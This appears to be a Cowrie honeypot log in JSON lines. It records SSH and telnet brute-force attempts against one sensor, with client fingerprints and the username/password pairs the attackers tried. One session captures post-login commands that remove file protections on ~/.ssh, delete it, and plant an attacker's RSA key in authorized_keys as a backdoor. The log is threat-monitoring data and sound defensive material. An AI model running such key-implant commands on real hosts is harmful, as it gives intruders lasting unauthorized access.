{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:51.336087Z","src_ip":"45.121.147.48","session":"e92b949cd822","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:51.340304Z","src_ip":"45.121.147.48","session":"e92b949cd822","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:51.568134Z","src_ip":"45.121.147.48","session":"e92b949cd822","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:52.047556Z","src_ip":"45.121.147.48","session":"e92b949cd822","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:52.050689Z","src_ip":"45.121.147.48","session":"e92b949cd822","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:52.278003Z","src_ip":"45.121.147.48","session":"e92b949cd822","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:52.281560Z","src_ip":"45.121.147.48","session":"e92b949cd822","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.121.147.48","src_port":39416,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d53cdf1d97b","protocol":"ssh","message":"New connection: 45.121.147.48:39416 (159.203.135.109:22) [session: 6d53cdf1d97b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:52.506064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:52.509686Z","src_ip":"45.121.147.48","session":"6d53cdf1d97b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:52.739705Z","src_ip":"45.121.147.48","session":"6d53cdf1d97b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:53.694108Z","src_ip":"45.121.147.48","session":"6d53cdf1d97b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:54.927024Z","src_ip":"45.121.147.48","session":"6d53cdf1d97b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.121.147.48","src_port":40304,"dst_ip":"159.203.135.109","dst_port":22,"session":"10be5b9c0de1","protocol":"ssh","message":"New connection: 45.121.147.48:40304 (159.203.135.109:22) [session: 10be5b9c0de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:55.152663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:55.156837Z","src_ip":"45.121.147.48","session":"10be5b9c0de1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:55.386502Z","src_ip":"45.121.147.48","session":"10be5b9c0de1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:56.340464Z","src_ip":"45.121.147.48","session":"10be5b9c0de1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:56.573027Z","src_ip":"45.121.147.48","session":"10be5b9c0de1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:56.577750Z","src_ip":"45.121.147.48","session":"e92b949cd822","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":38378,"dst_ip":"159.203.135.109","dst_port":22,"session":"fae6ee713a16","protocol":"ssh","message":"New connection: 150.95.157.171:38378 (159.203.135.109:22) [session: fae6ee713a16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:50:12.814389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:50:12.819702Z","src_ip":"150.95.157.171","session":"fae6ee713a16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:50:12.978480Z","src_ip":"150.95.157.171","session":"fae6ee713a16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:50:13.640623Z","src_ip":"150.95.157.171","session":"fae6ee713a16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:50:14.808747Z","src_ip":"150.95.157.171","session":"fae6ee713a16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.172.196.177","src_port":35114,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b4f8ac443e9","protocol":"ssh","message":"New connection: 172.172.196.177:35114 (159.203.135.109:22) [session: 4b4f8ac443e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:50:17.867229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:50:17.872676Z","src_ip":"172.172.196.177","session":"4b4f8ac443e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:50:17.885899Z","src_ip":"172.172.196.177","session":"4b4f8ac443e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"search","password":"Search123","message":"login attempt [search/Search123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:50:17.970560Z","src_ip":"172.172.196.177","session":"4b4f8ac443e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:50:18.988133Z","src_ip":"172.172.196.177","session":"4b4f8ac443e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":48900,"dst_ip":"159.203.135.109","dst_port":22,"session":"b79b78439524","protocol":"ssh","message":"New connection: 2.57.122.96:48900 (159.203.135.109:22) [session: b79b78439524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:51:24.020753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:51:24.035476Z","src_ip":"2.57.122.96","session":"b79b78439524","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:51:24.168619Z","src_ip":"2.57.122.96","session":"b79b78439524","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"ubuntu","message":"login attempt [solana/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:51:24.542374Z","src_ip":"2.57.122.96","session":"b79b78439524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:51:25.648539Z","src_ip":"2.57.122.96","session":"b79b78439524","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":47522,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a2cfb233d4c","protocol":"telnet","message":"New connection: 101.37.83.79:47522 (159.203.135.109:23) [session: 3a2cfb233d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:51:33.029890Z"}
{"eventid":"cowrie.session.connect","src_ip":"1.214.117.218","src_port":41248,"dst_ip":"159.203.135.109","dst_port":22,"session":"052e37ed33b1","protocol":"ssh","message":"New connection: 1.214.117.218:41248 (159.203.135.109:22) [session: 052e37ed33b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:51:36.681465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:51:36.690403Z","src_ip":"1.214.117.218","session":"052e37ed33b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:51:36.895458Z","src_ip":"1.214.117.218","session":"052e37ed33b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ais","password":"Ais123!","message":"login attempt [ais/Ais123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:51:37.745636Z","src_ip":"1.214.117.218","session":"052e37ed33b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:51:38.953279Z","src_ip":"1.214.117.218","session":"052e37ed33b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":46164,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa76633a229d","protocol":"telnet","message":"New connection: 101.37.83.79:46164 (159.203.135.109:23) [session: fa76633a229d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:51:47.437475Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.173.117.246","src_port":47592,"dst_ip":"159.203.135.109","dst_port":22,"session":"a44a294c3e03","protocol":"ssh","message":"New connection: 172.173.117.246:47592 (159.203.135.109:22) [session: a44a294c3e03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:51:47.949142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:51:47.954123Z","src_ip":"172.173.117.246","session":"a44a294c3e03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:51:47.991821Z","src_ip":"172.173.117.246","session":"a44a294c3e03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"123456","message":"login attempt [sam/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:51:48.190360Z","src_ip":"172.173.117.246","session":"a44a294c3e03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:51:49.237351Z","src_ip":"172.173.117.246","session":"a44a294c3e03","protocol":"ssh"}
